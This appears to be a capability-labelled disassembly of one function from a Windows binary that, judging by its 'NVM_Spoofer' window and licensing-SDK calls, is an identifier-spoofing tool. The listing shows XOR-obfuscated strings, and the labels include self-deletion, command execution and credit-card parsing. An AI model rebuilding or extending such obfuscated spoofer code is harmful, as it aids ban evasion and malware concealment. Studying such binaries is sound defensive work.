Function at 0x140042b10
Capabilities:
Authenticate hmac
Create directory
Delete file
Encode data using xor
Execute command
Get session user name
Parse credit card information
Resolve function by parsing pe exports
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0xb2a0
call fcn.140076150
sub rsp, rax
movaps xmmword [rsp + 0xb290], xmm6
movaps xmmword [rsp + 0xb280], xmm7
movaps xmmword [rsp + 0xb270], xmm8
movaps xmmword [rsp + 0xb260], xmm9
movaps xmmword [rsp + 0xb250], xmm10
movaps xmmword [rsp + 0xb240], xmm11
movaps xmmword [rsp + 0xb230], xmm12
movaps xmmword [rsp + 0xb220], xmm13
movaps xmmword [rsp + 0xb210], xmm14
movaps xmmword [rsp + 0xb200], xmm15
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
xor eax, eax
mov byte [rbp + 0x20], al
mov byte [rbp + 0x20], al
mov byte [rbp + 0x20], al
movabs rax, 0x465bd09133e72cd4
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa800], rax
movabs rax, 0x1d9ea1ea7fb4898d
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa808], rax
movabs rax, 0x7fbed2eac03ef637
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa810], rax
movabs rax, 0x63f5e312dd93f980
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa818], rax
movabs rax, 0x8c5e9905f0dc0281
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa820], rax
movabs rax, 0xdefd0cc893087dbe
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa828], rax
movabs rax, 0x7802a2f59982d3f7
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa830], rax
movabs rax, 0xa69c6ce602eba881
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa838], rax
movabs rax, 0x21701c22d13f1b58
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa840], rax
movabs rax, 0x65c99d9abd7cb823
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa848], rax
movabs rax, 0x80c9979398e69ba4
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa850], rax
movabs rax, 0x8ac675fb73875543
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa858], rax
movabs rax, 0x829c5141d03ae22b
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa860], rax
movabs rax, 0xd605723c7c165bff
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa868], rax
movabs rax, 0x84e7dbfb507a07a7
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa870], rax
movabs rax, 0x38b6491cc32d9b4e
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa878], rax
movabs rax, 0x8339a67c534e48f8
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa880], rax
movabs rax, 0x758e0d080c31f4b1
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa888], rax
movabs rax, 0xcd8756384bcab529
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa890], rax
movabs rax, 0x467474effdbecb90
mov qword [rbp + 0x28], rax
movabs rdi, 0x2911b4dc05d67983
mov rax, qword [rbp + 0x28]
movabs rbx, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0xa898], rax
movabs rax, 0x3336be6cc5480672
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa8a0], rax
movabs rax, 0x9bdb382d85aeb448
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa8a8], rax
mov qword [rbp + 0x28], rdi
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa2e0], rax
mov qword [rbp + 0x28], rbx
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa2e8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa2f0], rax
movabs rax, 0x2fa0d557e5debcea
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa2f8], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa300], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa308], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa310], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa318], rax
movabs rax, 0x52167864a84a710b
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa320], rax
movabs rax, 0x24a8ffc9df2bef68
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa328], rax
movabs rax, 0xf7bcc5c2f781acd5
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa330], rax
movabs rax, 0xff8c0cbf58bf0f12
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa338], rax
movabs rax, 0xf4cb2470fb76ab1f
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa340], rax
movabs rax, 0xa47d5d0557573e9c
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa348], rax
movabs rax, 0xca9097ce293f4dc9
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa350], rax
movabs rax, 0x40f92c5b8b57f176
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa358], rax
movabs rax, 0xdb58920c7c140f93
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa360], rax
movabs rax, 0x2cde4e516605adf0
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
lea rdx, [rbp + 0xa800]
mov qword [rbp + 0xa368], rax
lea rcx, [rbp + 0x1ac8]
movabs rax, 0xf8be0e6a3fbbdb5d
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa370], rax
movabs rax, 0x23033787bafca4fa
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa378], rax
movabs rax, 0x6b7cdc188d0e4e47
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xa380], rax
movabs rax, 0x9bdb382db896de04
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
vmovdqu ymm0, ymmword [rbp + 0xa2e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa800]
vmovdqu ymm0, ymmword [rbp + 0xa820]
vmovdqa xmm2, xmmword [rbp + 0xa8a0]
vmovdqa ymmword [rbp + 0xa800], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0xa300]
vmovdqu ymm0, ymmword [rbp + 0xa840]
vmovdqa ymmword [rbp + 0xa820], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0xa320]
vmovdqu ymm0, ymmword [rbp + 0xa860]
vmovdqa ymmword [rbp + 0xa840], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0xa340]
vmovdqu ymm0, ymmword [rbp + 0xa880]
vmovdqa ymmword [rbp + 0xa860], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0xa360]
mov qword [rbp + 0xa388], rax
vxorps xmm2, xmm2, xmmword [rbp + 0xa380]
vmovdqa ymmword [rbp + 0xa880], ymm1
vmovdqa xmmword [rbp + 0xa8a0], xmm2
vzeroupper
call fcn.14002b4a0
lea rdx, [rbp + 0x1ac8]
lea rcx, [rbp + 0x7db0]
call qword [sym.imp.SafeGuard_Lib.dll_public:_void___cdecl_SDK::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
lea rcx, [rbp + 0x1ac8]
call fcn.14002b440
xor eax, eax
lea rdx, [0x141557590]
mov byte [rbp + 0x20], al
lea rcx, [rbp + 0x860]
mov byte [rbp + 0x20], al
mov r8d, 0x40
mov byte [rbp + 0x20], al
movabs rax, 0x2974c7b260b510cf
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x158], rbx
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x868], rax
mov qword [rbp + 0x158], rdi
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x870], rax
mov qword [rbp + 0x158], rbx
mov rax, qword [rbp + 0x158]
movdqa xmm0, xmmword [rbp + 0x860]
mov qword [rbp + 0x878], rax
xorps xmm0, xmmword [rbp + 0x870]
movdqa xmmword [rbp + 0x860], xmm0
call fcn.1400429f0
lea rdx, [rbp + 0x28]
mov dword [rbp + 0x28], 0x101
lea rcx, [rbp + 0xae60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rbp + 0xae60]
lea rcx, [rbp + 0x1ae8]
call fcn.14002b4a0
lea rax, [0x140072480]
mov dword [rbp + 0x5620], 0x50
mov qword [rbp + 0x5628], rax
xor r15d, r15d
mov dword [rbp + 0x5624], 0x40
mov edx, 0x7f00
mov dword [rbp + 0x5630], r15d
xor ecx, ecx
mov dword [rbp + 0x5634], r15d
mov qword [rbp + 0x5638], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x5640], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea r14, str.NVM_Spoofer
mov qword [rbp + 0x5650], r15
mov edx, 0x7f00
mov qword [rbp + 0x5648], rax
xor ecx, ecx
mov qword [rbp + 0x5658], r14
mov qword [rbp + 0x5660], r14
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x5620]
mov qword [rbp + 0x5668], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x141556904]
mov r13d, 1
mov ecx, r13d
cvttss2si esi, dword [0x141556900]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x141556904]
xor ecx, ecx
mulss xmm0, dword [0x1400c5ba8]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x141556900]
mov r9d, 0x80000000
mulss xmm0, dword [0x1400c5ba8]
cdq
mov qword [rsp + 0x58], r15
sub eax, edx
mov rdx, qword [rbp + 0x5660]
mov r8, r14
mov qword [rsp + 0x50], r15
xor ecx, ecx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
sar eax, 1
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x1400c5de0]
lea rdx, [rbp + 0x880]
mov rcx, rax
mov qword [0x1415573a0], rax
movdqu xmmword [rbp + 0x880], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1415573a0]
lea rdx, [0x1415573a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [0x1415573a8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1415573a0]
call fcn.140072280
test al, al
jne 0x14004333b
call fcn.1400723b0
mov rdx, qword [rbp + 0x5638]
mov rcx, qword [rbp + 0x5660]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x14006c3fb
mov rcx, qword [0x1415573a0]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1415573a0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.90.0
mov qword [rsp + 0x28], 0x14
mov edx, 0x38e8
mov r9d, 8
mov qword [rsp + 0x20], 0x10
mov r8d, 0x464
call fcn.140015ec0
xor ecx, ecx
call fcn.140006210
call fcn.140008620
lea rcx, [rbp + 0x4600]
mov qword [rbp + 0x158], rax
mov rdi, rax
or dword [rax], 3
call fcn.14003db60
lea rcx, [rbp + 0x7e40]
call fcn.1400262b0
lea rcx, [rbp + 0x7ed0]
mov dword [rbp + 0x7e8c], 0x10c
call fcn.1400262b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
movss xmm3, dword [0x1400c5c6c]
lea rdx, [0x1413f7720]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0x7e40]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
movss xmm6, dword [0x1400c5c8c]
lea rdx, [0x1400fa790]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x7e40]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1415573d0], rax
call fcn.140029360
movss xmm7, dword [0x1400c5c7c]
lea rdx, [0x1400fb0f0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm7
lea rax, [rbp + 0x7e40]
mov r8d, 0x875dc
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
mov qword [rsp + 0x28], rax
lea rdx, [0x14149b6e0]
lea rax, [rbp + 0x7e40]
movaps xmm3, xmm6
mov r8d, 0x28da8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1415573c0], rax
call fcn.140029360
movss xmm3, dword [0x1400c5c60]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x7e40]
mov qword [rsp + 0x20], rax
mov r8d, 0x28da8
lea rdx, [0x14149b6e0]
mov rcx, rbx
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1415573b8], rax
call fcn.140029360
mov qword [rsp + 0x28], rax
lea rdx, [0x141482fd0]
lea rax, [rbp + 0x7e40]
movaps xmm3, xmm6
mov r8d, 0x13144
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1415573c8], rax
call fcn.140029360
movss xmm3, dword [0x1400c5c98]
lea rdx, [0x141482fd0]
mov qword [rsp + 0x28], rax
mov r8d, 0x13144
lea rax, [rbp + 0x7e40]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
movss xmm3, dword [0x1400c5c5c]
lea rdx, [0x14149b6e0]
mov qword [rsp + 0x28], rax
mov r8d, 0x28da8
lea rax, [rbp + 0x7e40]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
mov qword [rsp + 0x28], rax
lea rdx, [0x140185e60]
lea rax, [rbp + 0x7e40]
movaps xmm3, xmm7
mov r8d, 0xba80
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
mov qword [rsp + 0x28], rax
lea rdx, [0x141533680]
lea rax, [rbp + 0x7e40]
movaps xmm3, xmm7
mov r8d, 0x23218
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
mov qword [rsp + 0x28], rax
lea rdx, [0x141496120]
lea rax, [rbp + 0x7e40]
movaps xmm3, xmm7
mov r8d, 0x55b8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
mov qword [rsp + 0x28], rax
lea rdx, [0x14141dec0]
lea rax, [rbp + 0x7e40]
movaps xmm3, xmm7
mov qword [rsp + 0x20], rax
mov r8d, 0x32cc
mov rcx, rbx
call fcn.140026e70
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029360
mov qword [rsp + 0x28], rax
lea rdx, [0x1401826d0]
lea rax, [rbp + 0x7e40]
movaps xmm3, xmm7
mov r8d, 0x2f68
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.140026e70
movss xmm3, dword [0x1400c5c78]
lea rbx, [0x1400c0f04]
mov rcx, qword [rdi + 0x30]
lea rdx, [0x140082b70]
xor esi, esi
mov qword [rsp + 0x28], rbx
mov r8d, 0x3934b
mov qword [rsp + 0x20], rsi
call fcn.140027030
movss xmm3, dword [0x1400c5c38]
lea rdx, [0x140082b70]
mov rcx, qword [rdi + 0x30]
mov r8d, 0x3934b
mov qword [rsp + 0x28], rbx
mov qword [rbp + 0x160], rax
mov qword [rsp + 0x20], rsi
call fcn.140027030
mov rcx, qword [0x1415573a0]
mov qword [rbp + 0x168], rax
call fcn.14002fcd0
mov rdx, qword [0x1415575e0]
mov rcx, qword [0x1415575d8]
call fcn.14002f700
movss xmm0, dword [0x1400c5be0]
lea rcx, [rbp + 0x890]
movss xmm3, dword [0x1400c5bb0]
movss xmm2, dword [0x1400c5bac]
movss xmm1, dword [0x1400c5ba4]
movss dword [rsp + 0x20], xmm0
call fcn.140001430
lea rcx, [rbp + 0x170]
mov byte [rbp + 0x20], sil
xor r12b, r12b
mov dword [0x1415573e0], r13d
call fcn.140033510
xorps xmm14, xmm14
xorps xmm12, xmm12
call fcn.140004610
mov r15d, dword [0x1400d1090]
movdqa xmm10, xmmword [0x1400c5ee0]
movdqa xmm13, xmmword [str.9999999999999999]
movdqa xmm9, xmmword [str.2222]
movdqa xmm8, xmmword [0x1400c6050]
movdqa xmm11, xmmword [0x1400c5e60]
movss xmm15, dword [0x1400c5c90]
movss xmm7, dword [0x1400c5c80]
lea rcx, [rbp + 0x3a98]
movss xmm6, dword [0x1400c5db0]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r13d
xor edx, edx
movabs rbx, 0x2911b4dc059b2fcd
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140043870
nop
lea rcx, [rbp + 0x3a98]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3a98]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x3aa0], 0x12
lea rcx, [rbp + 0x3a98]
movzx r12d, r12b
cmove r12d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140043820
test r12b, r12b
jne 0x14006c3c1
call fcn.14002fa30
call fcn.140030910
call fcn.140008f60
movss xmm2, dword [0x141556904]
lea rcx, [rbp + 0x178]
movss xmm1, dword [0x141556900]
call fcn.1400013d0
mov rcx, rax
xor edx, edx
call fcn.140012870
xor eax, eax
movabs rcx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
xor edx, edx
mov byte [rbp], al
mov r8d, 0x3002b
mov byte [rbp], al
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x8a0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x8a8], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x8b0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x8a0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x8b8], rax
movdqa xmm0, xmmword [rbp + 0x8b0]
xorps xmm0, xmmword [rbp + 0x8a0]
movdqa xmmword [rbp + 0x8a0], xmm0
call fcn.14000ede0
xorps xmm0, xmm0
mov byte [rbp + 0x7560], 0
xor eax, eax
lea rcx, [rbp + 0x180]
movups xmmword [rbp + 0x7561], xmm0
mov qword [rbp + 0x75d1], rax
movups xmmword [rbp + 0x7571], xmm0
mov dword [rbp + 0x75d9], eax
movups xmmword [rbp + 0x7581], xmm0
mov word [rbp + 0x75dd], ax
movups xmmword [rbp + 0x7591], xmm0
mov byte [rbp + 0x75df], al
movups xmmword [rbp + 0x75a1], xmm0
movups xmmword [rbp + 0x75b1], xmm0
movups xmmword [rbp + 0x75c1], xmm0
call fcn.1400124e0
lea rcx, [rbp + 0x188]
call fcn.140016880
lea rcx, [rbp + 0x190]
call fcn.1400124e0
call fcn.140016860
mov dword [rdi + 0xe50], esi
call fcn.1400424f0
movss xmm0, dword [0x1400c5c00]
comiss xmm0, dword [0x141557540]
jbe 0x1400439f7
call fcn.140008620
movss xmm2, dword [0x141557540]
movaps xmm1, xmm6
movaps xmm0, xmm14
addss xmm2, dword [rax + 0x10]
movss dword [0x141557540], xmm2
mulss xmm2, dword [0x1400c5ba8]
call fcn.140073f90
jmp 0x1400439fa
movaps xmm0, xmm6
movss dword [0x14155689c], xmm0
call fcn.1400128f0
mov r14, rax
call fcn.1400128f0
mov edx, 0x10
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x8c0]
mov r8d, edx
mov rbx, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140004180
movss xmm0, dword [0x141556900]
lea r8, [rbp + 0x198]
movss xmm1, dword [0x141556904]
lea rdx, [rbp + 0x1a0]
movss dword [rbp + 0x198], xmm0
mov r9d, eax
movss xmm0, dword [0x1400c5c58]
mov rcx, rbx
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x19c], xmm1
mov dword [rbp + 0x1a0], 0
mov dword [rbp + 0x1a4], 0
call fcn.140023a00
mov rcx, qword [0x141557390]
movss xmm0, dword [0x141556900]
mulss xmm0, dword [0x1400c5ba8]
mov rax, qword [rcx + 0x4038]
movss xmm6, dword [0x14155689c]
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x8d0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x1a8], xmm0
movdqa xmm0, xmmword [0x1400c6010]
movups xmmword [rbp + 0x8d0], xmm0
mov dword [rbp + 0x1ac], 0
call fcn.140004180
movss dword [rsp + 0x38], xmm14
lea rcx, [rbp + 0x1a8]
mov dword [rsp + 0x30], esi
lea r8, [rbp + 0x1b0]
mov qword [rsp + 0x28], rcx
lea rdx, [rbp + 0x1b8]
mov rcx, rbx
movss dword [rsp + 0x20], xmm6
mov r9d, eax
mov dword [rbp + 0x1b0], 0
mov dword [rbp + 0x1b4], 0
mov dword [rbp + 0x1b8], 0
mov dword [rbp + 0x1bc], 0
call fcn.1400253e0
lea r8, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0
xor edx, edx
mov dword [rbp + 0x1c4], 0
lea rcx, [rbp + 0x1c8]
mov dword [rbp + 0x1c8], 0x41200000
mov dword [rbp + 0x1cc], 0x41a00000
call fcn.1400127e0
mov rax, qword [0x141557390]
or dword [rax + 0x49e8], 0x40
cmp dword [0x1415573e0], 0
mov dword [rax + 0x4a48], esi
movss xmm3, dword [rbp + 0x190]
movss xmm2, dword [rbp + 0x194]
movaps xmm0, xmm3
addss xmm0, dword [0x1400c5cc8]
addss xmm3, dword [0x1400c5d90]
movaps xmm1, xmm2
addss xmm1, dword [0x1400c5cbc]
addss xmm2, dword [0x1400c5d60]
movss dword [rbp + 0x1d0], xmm0
movss dword [rbp + 0x1d8], xmm3
movss dword [rbp + 0x1d4], xmm1
movss dword [rbp + 0x1dc], xmm2
jne 0x140043f73
mov rcx, qword [0x1415573c0]
call fcn.140012310
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x8e0]
mov r8d, edx
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm1, dword [0x1400c5be0]
lea rcx, [0x141557678]
mov esi, eax
call fcn.140004650
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x8f0]
mov r8d, edx
mov edi, eax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm1, dword [0x1400c5d18]
lea rcx, [rbp + 0x1e0]
movaps xmm2, xmm7
mov ebx, eax
call fcn.1400013d0
movss xmm6, dword [0x1400c5b8c]
movabs rcx, 0x4fe8f3a12dd0f9e0
movss dword [rsp + 0x28], xmm6
mov r9d, edi
mov r8d, ebx
mov dword [rsp + 0x20], esi
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc059b2fcd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x900], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x908], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x910], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x900]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x918], rax
movdqa xmm0, xmmword [rbp + 0x910]
xorps xmm0, xmmword [rbp + 0x900]
unpcklps xmm1, xmm2
movq rdx, xmm1
movdqa xmmword [rbp + 0x900], xmm0
call fcn.1400361e0
call fcn.1400123b0
movss xmm2, dword [0x1400c5c88]
lea rcx, [rbp + 0x1e8]
movss xmm1, dword [0x1400c5c9c]
call fcn.1400013d0
movss xmm2, dword [0x1400c5cb8]
lea rcx, [rbp + 0x1f0]
movss xmm1, dword [0x1400c5c9c]
call fcn.1400013d0
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7b31d9b971a500d0
mov qword [rbp + 0x10], rax
movabs rax, 0x2a859ad348a58885
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b20], rcx
mov qword [rbp + 0x10], rax
mov r9d, 0xb4
mov rcx, qword [rbp + 0x10]
movabs rax, 0x78addbf9a966c323
mov qword [rbp + 0x1b28], rcx
xor r8d, r8d
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x920]
mov rax, qword [rbp + 0x10]
mov edx, 0x64
mov qword [rbp + 0x1b30], rax
movabs rax, 0x2fa0d557e5debc81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b38], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b40], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b48], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b50], rax
movabs rax, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b58], rax
vmovdqu ymm0, ymmword [rbp + 0x1b40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b20]
vmovdqa ymmword [rbp + 0x1b20], ymm1
mov dword [rsp + 0x20], 0xff
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cb4]
lea rcx, [rbp + 0x1f8]
movss xmm1, dword [0x1400c5d08]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c54]
lea rcx, [rbp + 0x1b20]
mov rdx, qword [0x1415573c8]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x930]
mov edx, 0x46
mov rbx, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm0, dword [0x1400c5c00]
lea r8, [rbp + 0x1d8]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x1d0]
movss xmm0, dword [0x1400c5c1c]
mov r9d, eax
mov dword [rsp + 0x28], esi
